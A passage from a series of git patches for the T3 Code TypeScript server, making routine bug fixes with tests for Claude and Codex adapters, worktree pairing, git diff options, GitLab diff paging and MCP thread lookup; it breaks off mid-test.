From 066c8fc0cd04c97988ff8892e440189545ac6994 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 04:49:50 -0700 Subject: [PATCH 001/130] fix(server): delegated Claude children follow your subagent cache TTL setting (#22841) Co-authored-by: Claude Opus 5.5 --- .../Adapters/ClaudeAdapterV2.test.ts | 22 +++++++ .../Adapters/ClaudeAdapterV2.ts | 61 ++++++++++++++++++- 2 files changed, 82 insertions(+), 1 deletion(-) diff --git a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts index c7f23fb3c89b..aeb128bf6feb 100644 --- a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts +++ b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts @@ -249,6 +249,28 @@ describe("ClaudeAdapterV2 runtime query policy", () => { assert.isUndefined(options.extraArgs?.["dangerously-skip-permissions"]); }); + it("gives delegated children Claude's subagent prompt cache TTL", () => { + const lineage = (relationshipToParent: "fork" | "subagent" | null) => ({ + lineage: { + parentThreadId: null, + relationshipToParent, + rootThreadId: ThreadId.make("thread-root"), + }, + }); + const env = { PATH: "/bin" }; + const ttl = (environment: NodeJS.ProcessEnv, ...args: Parameters) => + ClaudeAdapterV2.claudeQueryEnvironment(environment, lineage(...args), "5m") + .CLAUDE_CODE_PROMPT_CACHE_TTL; + assert.equal(ttl(env, "subagent"), "5m"); + assert.isUndefined(ttl(env, null)); + assert.isUndefined(ttl(env, "fork")); + assert.equal(ttl({ ...env, CLAUDE_CODE_PROMPT_CACHE_TTL: "1h" }, "subagent"), "1h"); + assert.strictEqual( + ClaudeAdapterV2.claudeQueryEnvironment(env, lineage("subagent"), undefined), + env, + ); + }); + it("projects AskUserQuestion input with question text as the answer key", () => { const preview = "\n **Proposed change**\n\n```ts\n\tconst enabled = true;\n```\n "; assert.deepEqual( diff --git a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts index 8ea356c31b5b..91e926cc85e9 100644 --- a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts +++ b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts @@ -1244,6 +1244,24 @@ function claudeLiveSelectionFlagSettings( }; } +// A delegated child is its own SDK session, so Claude Code gives it the main-conversation cache +// TTL. When the user sets Claude's subagentPromptCacheTtl, the child follows it like a native +// subagent would. An explicit CLAUDE_CODE_PROMPT_CACHE_TTL on the instance still wins. +export function claudeQueryEnvironment( + environment: NodeJS.ProcessEnv, + appThread: Pick, + subagentPromptCacheTtl: "5m" | "1h" | undefined, +): NodeJS.ProcessEnv { + if ( + appThread.lineage.relationshipToParent !== "subagent" || + subagentPromptCacheTtl === undefined || + environment.CLAUDE_CODE_PROMPT_CACHE_TTL !== undefined + ) { + return environment; + } + return { ...environment, CLAUDE_CODE_PROMPT_CACHE_TTL: subagentPromptCacheTtl }; +} + export function makeClaudeQueryOptions(input: { readonly modelSelection: ModelSelection; readonly nativeThreadId: string; @@ -2128,6 +2146,17 @@ const decodeClaudeBypassSettings = Schema.decodeUnknownEffect( fromLenientJson(ClaudeBypassSettings), ); +const ClaudePromptCacheTtl = Schema.Literals(["5m", "1h"]); +const decodeClaudePromptCacheTtl = Schema.decodeUnknownOption(ClaudePromptCacheTtl); +const decodeClaudeSubagentCacheSettings = Schema.decodeUnknownEffect( + fromLenientJson( + Schema.StructWithRest( + Schema.Struct({ subagentPromptCacheTtl: Schema.optionalKey(ClaudePromptCacheTtl) }), + [Schema.Record(Schema.String, Schema.Unknown)], + ), + ), +); + function claudeBypassAvailability( settings: typeof ClaudeBypassSettings.Type, ): ClaudeBypassAvailability { @@ -3862,6 +3891,30 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( }, ); + // Claude Code's own subagent TTL setting, in its precedence order. Unset or unreadable means + // Anthropic's default applies. + const resolveSubagentPromptCacheTtl = Effect.fn("ClaudeAdapterV2.resolveSubagentPromptCacheTtl")( + function* (cwd: string | null) { + const fromEnvironment = decodeClaudePromptCacheTtl( + adapterOptions.environment.CLAUDE_CODE_SUBAGENT_PROMPT_CACHE_TTL, + ); + if (Option.isSome(fromEnvironment)) return fromEnvironment.value; + const resolved = yield* Effect.tryPromise(() => + resolveClaudeSettings({ + ...(cwd === null ? {} : { cwd }), + settingSources: customHome ? ["project", "local"] : ["user", "project", "local"], + }), + ).pipe(Effect.orElseSucceed(() => undefined)); + const home = customHome + ? yield* fileSystem.readFileString(path.join(homePath, "settings.json")).pipe( + Effect.flatMap(decodeClaudeSubagentCacheSettings), + Effect.orElseSucceed(() => ({ subagentPromptCacheTtl: undefined })), + ) + : undefined; + return resolved?.effective.subagentPromptCacheTtl ?? home?.subagentPromptCacheTtl; + }, + ); + const userInvocableSkills = (cwd: string | null) => discoverClaudeSkills( adapterOptions.settings, @@ -9154,7 +9207,13 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( cwd: turnInput.runtimePolicy.cwd, attachmentsDir, settings: adapterOptions.settings, - environment: adapterOptions.environment, + environment: claudeQueryEnvironment( + adapterOptions.environment, + turnInput.appThread, + turnInput.appThread.lineage.relationshipToParent === "subagent" + ? yield* resolveSubagentPromptCacheTtl(turnInput.runtimePolicy.cwd) + : undefined, + ), tools: queryPolicy.tools ?? CLAUDE_CODE_PRESET_TOOLS, ...(mcpOverrides.allowedTools === undefined ? {} From 448b8a918694e84137f850c6526d75aacfb2292d Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 05:31:46 -0700 Subject: [PATCH 002/130] fix(server): t3 pair in a worktree no longer falls back to the live install (#22855) Co-authored-by: Claude Opus 5.5 --- apps/server/src/cli/pair.test.ts | 41 ++++++++++++++++++++++++++++++++ apps/server/src/cli/pair.ts | 23 ++++++++++++------ 2 files changed, 57 insertions(+), 7 deletions(-) diff --git a/apps/server/src/cli/pair.test.ts b/apps/server/src/cli/pair.test.ts index 1eeeee4aaba2..1dd8c2a9597f 100644 --- a/apps/server/src/cli/pair.test.ts +++ b/apps/server/src/cli/pair.test.ts @@ -9,6 +9,7 @@ import { AuthStandardClientScopes } from "@t3tools/contracts"; import * as NetService from "@t3tools/shared/Net"; import * as HostProcess from "@t3tools/shared/HostProcess"; import { assert, describe, expect, it } from "@effect/vitest"; +import * as ConfigProvider from "effect/ConfigProvider"; import * as Effect from "effect/Effect"; import * as Layer from "effect/Layer"; import * as Sink from "effect/Sink"; @@ -287,6 +288,46 @@ describe("t3 pair", () => { ).pipe(Effect.provide(NodeServices.layer)), ); + // regression: #10516 minting opens the target database with this checkout's + // migrations, so a worktree must never fall back to the live install. + it.effect("does not fall back to the shared home from a linked worktree", () => + withDescriptorServer((origin) => + Effect.gen(function* () { + const root = NodeFS.mkdtempSync(NodePath.join(NodeOS.tmpdir(), "t3-pair-worktree-test-")); + const worktree = NodePath.join(root, "worktree"); + NodeFS.mkdirSync(worktree); + NodeFS.writeFileSync( + NodePath.join(worktree, ".git"), + `gitdir: ${NodePath.join(root, "repo", ".git", "worktrees", "worktree")}\n`, + ); + const sharedHome = NodePath.join(root, "shared"); + yield* persistServerRuntimeState({ + path: NodePath.join(sharedHome, "userdata", "server-runtime.json"), + state: yield* makePersistedServerRuntimeState({ + config: { host: "127.0.0.1", devUrl: undefined }, + port: Number(new URL(origin).port), + }), + }); + + const error = yield* provideCliTestLayers( + runCli(["pair"]).pipe( + Effect.provideService(HostProcess.WorkingDirectory, worktree), + Effect.provide( + ConfigProvider.layer(ConfigProvider.fromEnv({ env: { T3CODE_HOME: sharedHome } })), + ), + Effect.flip, + ), + ); + + assert.include(String(error), "No running T3 Code server found."); + assert.notInclude(String(error), sharedHome); + assert.deepEqual(NodeFS.readdirSync(NodePath.join(sharedHome, "userdata")), [ + "server-runtime.json", + ]); + }), + ).pipe(Effect.provide(NodeServices.layer)), + ); + // Without the capability `tailscale serve` blocks on an enablement URL, so // pairing must stop at status instead of spawning it. it.effect("explains a tailnet without HTTPS serve instead of running tailscale serve", () => diff --git a/apps/server/src/cli/pair.ts b/apps/server/src/cli/pair.ts index 4522258c2712..78aecbf6c52c 100644 --- a/apps/server/src/cli/pair.ts +++ b/apps/server/src/cli/pair.ts @@ -5,6 +5,7 @@ import { PortSchema, } from "@t3tools/contracts"; import { resolveWorktreeT3Home } from "@t3tools/shared/devHome"; +import * as HostProcess from "@t3tools/shared/HostProcess"; import { DEFAULT_SIGNAL_EXPORT } from "@t3tools/shared/observability"; import * as OtelEnvironment from "@t3tools/shared/otelEnvironment"; import { @@ -61,12 +62,16 @@ export class NoRunningServerError extends Schema.TaggedError ` checked ${statePath}`), + ...(this.inLinkedWorktree + ? ["In a linked worktree, pass --base-dir to pair with a server outside it."] + : []), "Start one with `npx t3 serve`, or connect this machine with T3 Connect: `npx t3 connect`.", ].join("\n"); } @@ -228,18 +233,22 @@ const discoverPairTarget = Effect.fn("pair.discoverPairTarget")(function* ( explicitBaseDir: string | undefined, ) { const bases: Array = []; + let inLinkedWorktree = false; if (explicitBaseDir !== undefined && explicitBaseDir.trim().length > 0) { bases.push(yield* resolveBaseDir(explicitBaseDir)); } else { - // Same precedence as dev-runner: inside a linked worktree its own `.t3` - // outranks the shared home, so `t3 pair` in a worktree pairs with the dev - // server under test rather than the daily-driver install. - const worktreeHome = yield* resolveWorktreeT3Home(process.cwd()); + // Same precedence as dev-runner: inside a linked worktree only its own + // `.t3` counts. Minting opens the target database with this checkout's + // migrations, so falling back to the shared home could migrate the live + // install with unreleased schema. + const worktreeHome = yield* resolveWorktreeT3Home(yield* HostProcess.WorkingDirectory); if (worktreeHome !== undefined) { bases.push(worktreeHome); + inLinkedWorktree = true; + } else { + const envHome = yield* Config.String("T3CODE_HOME").pipe(Config.option); + bases.push(yield* resolveBaseDir(Option.getOrUndefined(envHome))); } - const envHome = yield* Config.String("T3CODE_HOME").pipe(Config.option); - bases.push(yield* resolveBaseDir(Option.getOrUndefined(envHome))); } const checkedStatePaths: Array = []; @@ -274,7 +283,7 @@ const discoverPairTarget = Effect.fn("pair.discoverPairTarget")(function* ( } satisfies DiscoveredPairTarget; } } - return yield* new NoRunningServerError({ checkedStatePaths }); + return yield* new NoRunningServerError({ checkedStatePaths, inLinkedWorktree }); }); /** From 370b9ae793bbf2bd7062001bc0b00653dcd61d03 Mon Sep 17 00:00:00 2001 From: Lakshmi Tanmay Date: Wed, 21 Oct 2026 18:45:53 +0530 Subject: [PATCH 003/130] fix(server): avoid expensive diff minimization in status refreshes (#21872) Co-authored-by: Claude Opus 5.5 --- apps/server/src/vcs/GitVcsDriverCore.test.ts | 60 ++++++++++++++++++++ apps/server/src/vcs/GitVcsDriverCore.ts | 2 +- 2 files changed, 61 insertions(+), 1 deletion(-) diff --git a/apps/server/src/vcs/GitVcsDriverCore.test.ts b/apps/server/src/vcs/GitVcsDriverCore.test.ts index cda722720ed4..4bda1dbd765f 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.test.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.test.ts @@ -2100,6 +2100,66 @@ it.layer(layerTest)("GitVcsDriver core integration", (it) => { }), ); + it.effect("reads Changes totals without minimizing and keeps review diffs minimal", () => + Effect.gen(function* () { + const cwd = yield* makeTmpDir(); + const { initialBranch } = yield* initRepoWithCommit(cwd); + const driver = yield* GitVcsDriver.GitVcsDriver; + yield* git(cwd, ["config", "diff.algorithm", "myers"]); + // Repeated lines make the default and minimal algorithms choose different edits. + const lines = Array.from({ length: 2000 }, (_, index) => index); + yield* writeTextFile( + cwd, + "repeated.txt", + lines.map((index) => `${(index ^ (index >> 3)) % 16}\n`).join(""), + ); + yield* git(cwd, ["add", "."]); + yield* git(cwd, ["commit", "-m", "repeated lines"]); + yield* git(cwd, ["checkout", "-b", "feature/totals"]); + yield* writeTextFile( + cwd, + "repeated.txt", + lines.map((index) => `${(index ^ (index >> 5)) % 16}\n`).join(""), + ); + const defaultStat = yield* git(cwd, ["diff", "--numstat", "HEAD", "--"]); + const minimalStat = yield* git(cwd, ["diff", "--minimal", "--numstat", "HEAD", "--"]); + assert.notEqual(defaultStat, minimalStat); + const [insertions, deletions] = defaultStat.split("\t"); + const status = yield* driver.statusDetailsLocal(cwd, { includeBranchChanges: true }); + assert.deepStrictEqual(status.branchChanges, { + baseRef: initialBranch, + insertions: Number(insertions), + deletions: Number(deletions), + }); + + const [additions, removals] = minimalStat.split("\t"); + const minimalPatch = yield* git(cwd, [ + "diff", + "--minimal", + "--patch", + "--no-color", + "--no-ext-diff", + "--no-textconv", + "--src-prefix=a/", + "--dst-prefix=b/", + "HEAD", + "--", + ]); + const preview = yield* driver.getReviewDiffPreview({ cwd }); + for (const source of preview.sources) { + assert.deepStrictEqual(source.files, [ + { + path: "repeated.txt", + previousPath: null, + additions: Number(additions), + deletions: Number(removals), + }, + ]); + assert.strictEqual(source.diff.trim(), minimalPatch); + } + }), + ); + it.effect.skipIf(!symlinksSupported)( "lists the real repository through a symlink when a decoy repo occupies the lexical common dir", () => diff --git a/apps/server/src/vcs/GitVcsDriverCore.ts b/apps/server/src/vcs/GitVcsDriverCore.ts index 64ce4024edd6..c49af2624cf7 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.ts @@ -77,7 +77,6 @@ const REVIEW_DIFF_ARGS = [ "--no-color", "--no-ext-diff", "--no-textconv", - "--minimal", ...PATCH_RENDER_PREFIX_ARGS, ]; const STATUS_UPSTREAM_REFRESH_INTERVAL = Duration.seconds(15); @@ -3080,6 +3079,7 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* const diffArgs = [ ...REVIEW_DIFF_ARGS, + "--minimal", ...(input.ignoreWhitespace ? ["--ignore-all-space"] : []), ]; const readStats = Effect.fn("GitVcsDriver.getReviewDiffPreview.stat")(function* ( From aacd1ee33779c986831c74aee274cb4694dcd900 Mon Sep 17 00:00:00 2001 From: Victor Vogel Date: Wed, 21 Oct 2026 08:16:17 -0500 Subject: [PATCH 004/130] fix(codex): keep every path of a multi-file patch (#22541) Co-authored-by: Claude Opus 5.5 Co-authored-by: GPT-6.1 Sol --- .../Adapters/CodexAdapterV2.test.ts | 29 +++++++++++++++++++ .../Adapters/CodexAdapterV2.ts | 6 ++++ 2 files changed, 35 insertions(+) diff --git a/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.test.ts b/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.test.ts index bc69f75d37e5..5f00beb2fbc3 100644 --- a/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.test.ts +++ b/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.test.ts @@ -6098,5 +6098,34 @@ describe("CodexAdapterV2 post-settle continuation", () => { ), ), ); + + it.effect("keeps every path of a completed multi-file patch", () => + Effect.gen(function* () { + const { harness } = yield* startApprovalTurn("file-change-multi-path", [ + fileChange("started", nativeTurnId, "patch-a", [renameC, deleteE, addA]), + fileChange("completed", nativeTurnId, "patch-a", [renameC, deleteE, addA]), + turnCompleted(nativeTurnId), + ]); + yield* harness.firstTerminal; + + const fileChanges = harness.events.flatMap((event) => + event.type === "turn_item.updated" && event.turnItem.type === "file_change" + ? [event.turnItem] + : [], + ); + assert.lengthOf(fileChanges, 1); + assert.equal(fileChanges[0]?.fileName, "/w/c.ts"); + assert.deepEqual(fileChanges[0]?.changes, [ + { operation: "update", path: "/w/d.ts", oldPath: "/w/c.ts" }, + { operation: "delete", path: "/w/e.ts" }, + { operation: "add", path: "/w/a.ts" }, + ]); + }).pipe( + Effect.scoped, + Effect.provide( + Layer.mergeAll(IdAllocator.layer, McpProviderSessions.layer, NodeServices.layer), + ), + ), + ); }); }); diff --git a/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.ts b/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.ts index b809f065686e..5c4df98d310d 100644 --- a/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.ts +++ b/apps/server/src/orchestration-v2/Adapters/CodexAdapterV2.ts @@ -3635,6 +3635,12 @@ export const makeCodexAdapterV2 = Effect.fn("makeCodexAdapterV2")(function* ( type: "file_change", fileName: firstChange.path, diffStr: firstChange.diff, + changes: item.changes.map((change) => { + const movePath = change.kind.type === "update" ? change.kind.move_path : undefined; + return movePath + ? { operation: change.kind.type, path: movePath, oldPath: change.path } + : { operation: change.kind.type, path: change.path }; + }), }; return { node, turnItem }; }, From 588150e39d375b1316ab8093a3f604dc31edc6ae Mon Sep 17 00:00:00 2001 From: Igor Makowski <56691628+Mnigos@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:16:37 +0200 Subject: [PATCH 005/130] fix(gitlab): merge request diffs page 30 files at a time so GitLab 15.7 to 17.10 answer (#21909) --- .../GitLabPullRequestCli.legacy.test.ts | 4 +-- .../src/server/GitLabPullRequestCli.test.ts | 31 ++++++++++++++++++- .../src/server/GitLabPullRequestCli.ts | 12 +++++-- 3 files changed, 42 insertions(+), 5 deletions(-) diff --git a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.legacy.test.ts b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.legacy.test.ts index 6b059d8fa587..91b649fd9851 100644 --- a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.legacy.test.ts +++ b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.legacy.test.ts @@ -147,7 +147,7 @@ layer("legacy GitLab diff requests through GitLabCli", (it) => { ); it.effect("keeps modern pagination without requesting legacy changes", () => Effect.gen(function* () { - run.mockReturnValueOnce(output(Array.from({ length: 100 }, () => file))); + run.mockReturnValueOnce(output(Array.from({ length: 30 }, () => file))); run.mockReturnValueOnce(output([file])); const cli = yield* GitLabPullRequestCli.GitLabPullRequestCli; const first = yield* cli.getMergeRequestDiff(input); @@ -157,7 +157,7 @@ layer("legacy GitLab diff requests through GitLabCli", (it) => { ).toBeNull(); expect(run).toHaveBeenCalledTimes(2); expect(run.mock.calls[1]?.[0].args).toContain( - "projects/acme%2Fnested%2Fweb/merge_requests/7/diffs?per_page=100&page=2", + "projects/acme%2Fnested%2Fweb/merge_requests/7/diffs?per_page=30&page=2", ); }), ); diff --git a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.test.ts b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.test.ts index f9a88a846184..30b9ba9b75cf 100644 --- a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.test.ts +++ b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.test.ts @@ -430,10 +430,39 @@ layer("GitLabPullRequestCli.layer", (it) => { assert.strictEqual(mockedExecute.mock.calls.length, 1); assert.isNotNull(diff.nextCursor); assert.isFalse(diff.truncated); - expect(argsOfCall(0)[1]).toContain("merge_requests/7/diffs?per_page=100&page=1"); + expect(argsOfCall(0)[1]).toContain("merge_requests/7/diffs?per_page=30&page=1"); }), ); + it.effect( + "pages a merge request diff 30 files at a time, which GitLab 15.7 to 17.10 accept", + () => + Effect.gen(function* () { + mockedExecute + .mockReturnValueOnce(Effect.succeed(output(diffPage(0, 30)))) + .mockReturnValueOnce(Effect.succeed(output(diffPage(30, 30)))) + .mockReturnValueOnce(Effect.succeed(output(diffPage(60, 5)))); + const cli = yield* GitLabPullRequestCli.GitLabPullRequestCli; + const target = { cwd: "/w", repository: "acme/web", number: 7 }; + + let patch = ""; + let cursor: string | undefined; + do { + const slice = yield* cli.getMergeRequestDiff({ ...target, cursor }); + patch += slice.patch; + cursor = slice.nextCursor ?? undefined; + } while (cursor !== undefined); + + expect(mockedExecute.mock.calls.map(([call]) => call.args[1])).toEqual([ + "projects/acme%2Fweb/merge_requests/7/diffs?per_page=30&page=1", + "projects/acme%2Fweb/merge_requests/7/diffs?per_page=30&page=2", + "projects/acme%2Fweb/merge_requests/7/diffs?per_page=30&page=3", + ]); + assert.strictEqual(patch.match(/^diff --git /gm)?.length, 65); + expect(patch).toContain("diff --git a/src/64.ts b/src/64.ts"); + }), + ); + it.effect("refuses a cursor it never handed out rather than reading it into a query", () => Effect.gen(function* () { const cli = yield* GitLabPullRequestCli.GitLabPullRequestCli; diff --git a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.ts b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.ts index a49d175edac8..d66992141f90 100644 --- a/packages/source-control-gitlab/src/server/GitLabPullRequestCli.ts +++ b/packages/source-control-gitlab/src/server/GitLabPullRequestCli.ts @@ -181,6 +181,14 @@ export type GitLabPullRequestCliError = /** GitLab's own ceiling on `per_page`, so a larger page has to be walked. */ const MAX_PAGE_SIZE = 100; const COMMIT_PAGE_SIZE = 100; +/** + * GitLab 15.7 through 17.10 answer the merge request `/diffs` endpoint with a 500 for any + * `per_page` above 30 (fixed in 17.11), so those pages stay at a size every version accepts. + * A commit's own diff endpoint never had that bug and keeps the full page. + */ +const MERGE_REQUEST_DIFF_PAGE_SIZE = 30; +const diffPageSize = (commit: string | undefined) => + commit === undefined ? MERGE_REQUEST_DIFF_PAGE_SIZE : MAX_PAGE_SIZE; const CONVERSATION_PAGES = 10; const DIFF_MAX_OUTPUT_BYTES = 8 * 1024 * 1024; const DIFF_TIMEOUT_MS = 60_000; @@ -615,7 +623,7 @@ export const make = Effect.gen(function* () { ? `merge_requests/${input.number}/diffs` : `repository/commits/${input.commit}/diff` }?${query([ - ["per_page", String(MAX_PAGE_SIZE)], + ["per_page", String(diffPageSize(input.commit))], ["page", String(input.page)], ])}`, maxOutputBytes: DIFF_MAX_OUTPUT_BYTES, @@ -673,7 +681,7 @@ export const make = Effect.gen(function* () { const patch = decoded.success.patch; // Counted before decoding, so a page whose files all failed to decode still moves on // rather than pointing the reader back at the page it just read. - const morePages = !legacy && decoded.success.rawCount >= MAX_PAGE_SIZE; + const morePages = !legacy && decoded.success.rawCount >= diffPageSize(input.commit); return Effect.succeed({ // The slice ends on a newline, so a file GitLab gave a header and no hunks for does // not run into the first line of the next slice. From 2d408943287b7f9e7cdc8ba6379a617569b21afd Mon Sep 17 00:00:00 2001 From: fixfon <12512757+fixfon@users.noreply.github.com> Date: Wed, 21 Oct 2026 16:16:57 +0300 Subject: [PATCH 006/130] fix(server): keep Antigravity question options and no-custom-answer flag in V2 (#22019) --- .../Adapters/AntigravityAdapterV2.test.ts | 17 +++++++++++++++++ .../Adapters/AntigravityAdapterV2.ts | 11 +---------- 2 files changed, 18 insertions(+), 10 deletions(-) diff --git a/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.test.ts b/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.test.ts index 58871bfdd3a5..16d657bc192c 100644 --- a/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.test.ts +++ b/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.test.ts @@ -96,6 +96,23 @@ describe("AntigravityAdapterV2 flavor", () => { ), ); }); + + it("keeps the question card to the agent's own options so a typed answer cannot be sent", () => { + const question = flavor.extractPermissionQuestion?.( + permissionRequest("interaction_2", [ + { optionId: "opt-main", name: "main", kind: "allow_once" }, + { optionId: "opt-dev", name: "dev", kind: "allow_once" }, + ]), + ); + assert.strictEqual(question?.question.allowCustomAnswer, false); + assert.deepEqual( + question?.question.options.map((option) => option.value), + ["opt-main", "opt-dev"], + ); + assert.deepEqual(question?.respond({ interaction_2: "opt-dev" }), { + outcome: { outcome: "selected", optionId: "opt-dev" }, + }); + }); }); const layerSession = Layer.mergeAll( diff --git a/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.ts b/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.ts index fb7130ed1639..1ea491b76b71 100644 --- a/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.ts +++ b/apps/server/src/orchestration-v2/Adapters/AntigravityAdapterV2.ts @@ -198,16 +198,7 @@ export function makeAntigravityAcpAdapterFlavor( const question = extractAntigravityUserInputQuestion(request); if (question === undefined) return undefined; return { - question: { - id: question.id, - header: question.header, - question: question.question, - options: question.options.map((option) => ({ - label: option.label, - description: option.description, - })), - multiSelect: false, - }, + question, respond: (answers) => makeAntigravityUserInputResponse(request, answers), }; }, From 1d9060b9afa0a1305cbe652cd5aadfc59dab59bc Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 06:17:17 -0700 Subject: [PATCH 007/130] fix(server): commit prompts no longer repeat CLAUDE.md when it matches AGENTS.md (#22848) Co-authored-by: Claude Opus 5.5 --- apps/server/src/git/GitManager.test.ts | 36 ++++++++++++++++++++++++++ apps/server/src/git/GitManager.ts | 5 +++- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/apps/server/src/git/GitManager.test.ts b/apps/server/src/git/GitManager.test.ts index d7b39efde3c0..7bfc2c802773 100644 --- a/apps/server/src/git/GitManager.test.ts +++ b/apps/server/src/git/GitManager.test.ts @@ -2557,6 +2557,42 @@ it.layer(layerGitManagerTest)("GitManager", (it) => { }), ); + it.effect("includes CLAUDE.md for Claude writers only when it differs from AGENTS.md", () => + Effect.gen(function* () { + const repoDir = yield* makeTempDir("t3code-git-manager-"); + yield* initRepo(repoDir); + NodeFS.writeFileSync(NodePath.join(repoDir, "AGENTS.md"), "Use imperative subjects.\n"); + NodeFS.copyFileSync(NodePath.join(repoDir, "AGENTS.md"), NodePath.join(repoDir, "CLAUDE.md")); + NodeFS.writeFileSync(NodePath.join(repoDir, "README.md"), "hello\n"); + const commitInstructions: Array = []; + + const { manager } = yield* makeManager({ + serverSettings: { + textGenerationModelSelection: { + instanceId: ProviderInstanceId.make("claudeAgent"), + model: "claude-sonnet-4-5", + }, + }, + textGeneration: { + generateCommitMessage: (input) => { + commitInstructions.push(input.policy?.commitInstructions); + return Effect.succeed({ subject: "Update readme", body: "" }); + }, + }, + }); + + yield* runStackedAction(manager, { cwd: repoDir, action: "commit" }); + + NodeFS.writeFileSync(NodePath.join(repoDir, "CLAUDE.md"), "Mention the Claude provider.\n"); + NodeFS.writeFileSync(NodePath.join(repoDir, "README.md"), "hello again\n"); + yield* runStackedAction(manager, { cwd: repoDir, action: "commit" }); + + expect(commitInstructions[0]).toContain("Local AGENTS.md:\nUse imperative subjects."); + expect(commitInstructions[0]).not.toContain("Local CLAUDE.md:"); + expect(commitInstructions[1]).toContain("Local CLAUDE.md:\nMention the Claude provider."); + }), + ); + it.effect("falls back when the dedicated source control writer is unavailable", () => Effect.gen(function* () { const repoDir = yield* makeTempDir("t3code-git-manager-"); diff --git a/apps/server/src/git/GitManager.ts b/apps/server/src/git/GitManager.ts index 333b5a3fe1ac..bb180042c034 100644 --- a/apps/server/src/git/GitManager.ts +++ b/apps/server/src/git/GitManager.ts @@ -863,7 +863,10 @@ export const make = Effect.gen(function* () { ? [["Recent commit subjects from this repository:", ...subjects].join("\n")] : []), ...(agentInstructions ? [`Local AGENTS.md:\n${agentInstructions}`] : []), - ...(claudeInstructions ? [`Local CLAUDE.md:\n${claudeInstructions}`] : []), + // CLAUDE.md is often a symlink or copy of AGENTS.md; skip the duplicate. + ...(claudeInstructions && claudeInstructions !== agentInstructions + ? [`Local CLAUDE.md:\n${claudeInstructions}`] + : []), ].join("\n\n"); if (!examples) { return repositoryConventionsTextGenerationPolicy; From b260a7cf69d061a3950220c320b85f8ac043a00c Mon Sep 17 00:00:00 2001 From: fixfon <12512757+fixfon@users.noreply.github.com> Date: Wed, 21 Oct 2026 16:17:44 +0300 Subject: [PATCH 008/130] fix(mcp): point a bare thread uuid at its mcp: thread in thread_not_found (#22452) --- .../src/mcp/OrchestratorMcpService.test.ts | 76 +++++++++++++++++++ apps/server/src/mcp/OrchestratorMcpService.ts | 28 ++++++- .../src/mcp/ThreadMetadataMcpService.ts | 3 +- apps/server/src/mcp/threadAccess.test.ts | 49 ++++++++++++ apps/server/src/mcp/threadAccess.ts | 9 ++- 5 files changed, 158 insertions(+), 7 deletions(-) create mode 100644 apps/server/src/mcp/threadAccess.test.ts diff --git a/apps/server/src/mcp/OrchestratorMcpService.test.ts b/apps/server/src/mcp/OrchestratorMcpService.test.ts index 015cf1f57696..5dbbd24b54ce 100644 --- a/apps/server/src/mcp/OrchestratorMcpService.test.ts +++ b/apps/server/src/mcp/OrchestratorMcpService.test.ts @@ -2315,3 +2315,79 @@ describe("OrchestratorMcpService provider resolution", () => { ); }); }); + +describe("OrchestratorMcpService thread lookup", () => { + const bareId = ThreadId.make("5d0b4a3e-8c1f-4a52-9d37-2f6c7e1b9a04"); + const launched = liveThreadShell(ThreadId.make(`mcp:${bareId}`)); + const deletedLaunched = { ...launched, deletedAt: DateTime.makeUnsafe("2026-10-05T00:00:00Z") }; + const client: McpInvocationScope = { + environmentId: EnvironmentId.make("environment:thread-lookup"), + requestNamespace: "client:thread-lookup", + thread: undefined, + client: { sessionId: "thread-lookup", label: "Claude Code", access: "full-access" }, + capabilities: new Set(["orchestration"]), + issuedAt: 1, + }; + const service = (shells: ReadonlyArray, sent: Ref.Ref) => + layerOrchestratorService.pipe( + Layer.provide( + Layer.mergeAll( + NodeServices.layer, + Layer.mock(ThreadManagementService.ThreadManagementService)({ + getThreadShell: (threadId) => + Effect.succeed(shells.find((shell) => shell.id === threadId) ?? null), + sendToThread: () => Ref.update(sent, (count) => count + 1).pipe(Effect.as({} as never)), + }), + ServerSettings.layerTest(), + Layer.mock(ProviderRegistry.ProviderRegistry)({ getProviders: Effect.succeed([]) }), + Layer.mock(ProviderAdapterRegistry.ProviderAdapterRegistryV2)({ + list: () => Effect.succeed([]), + }), + 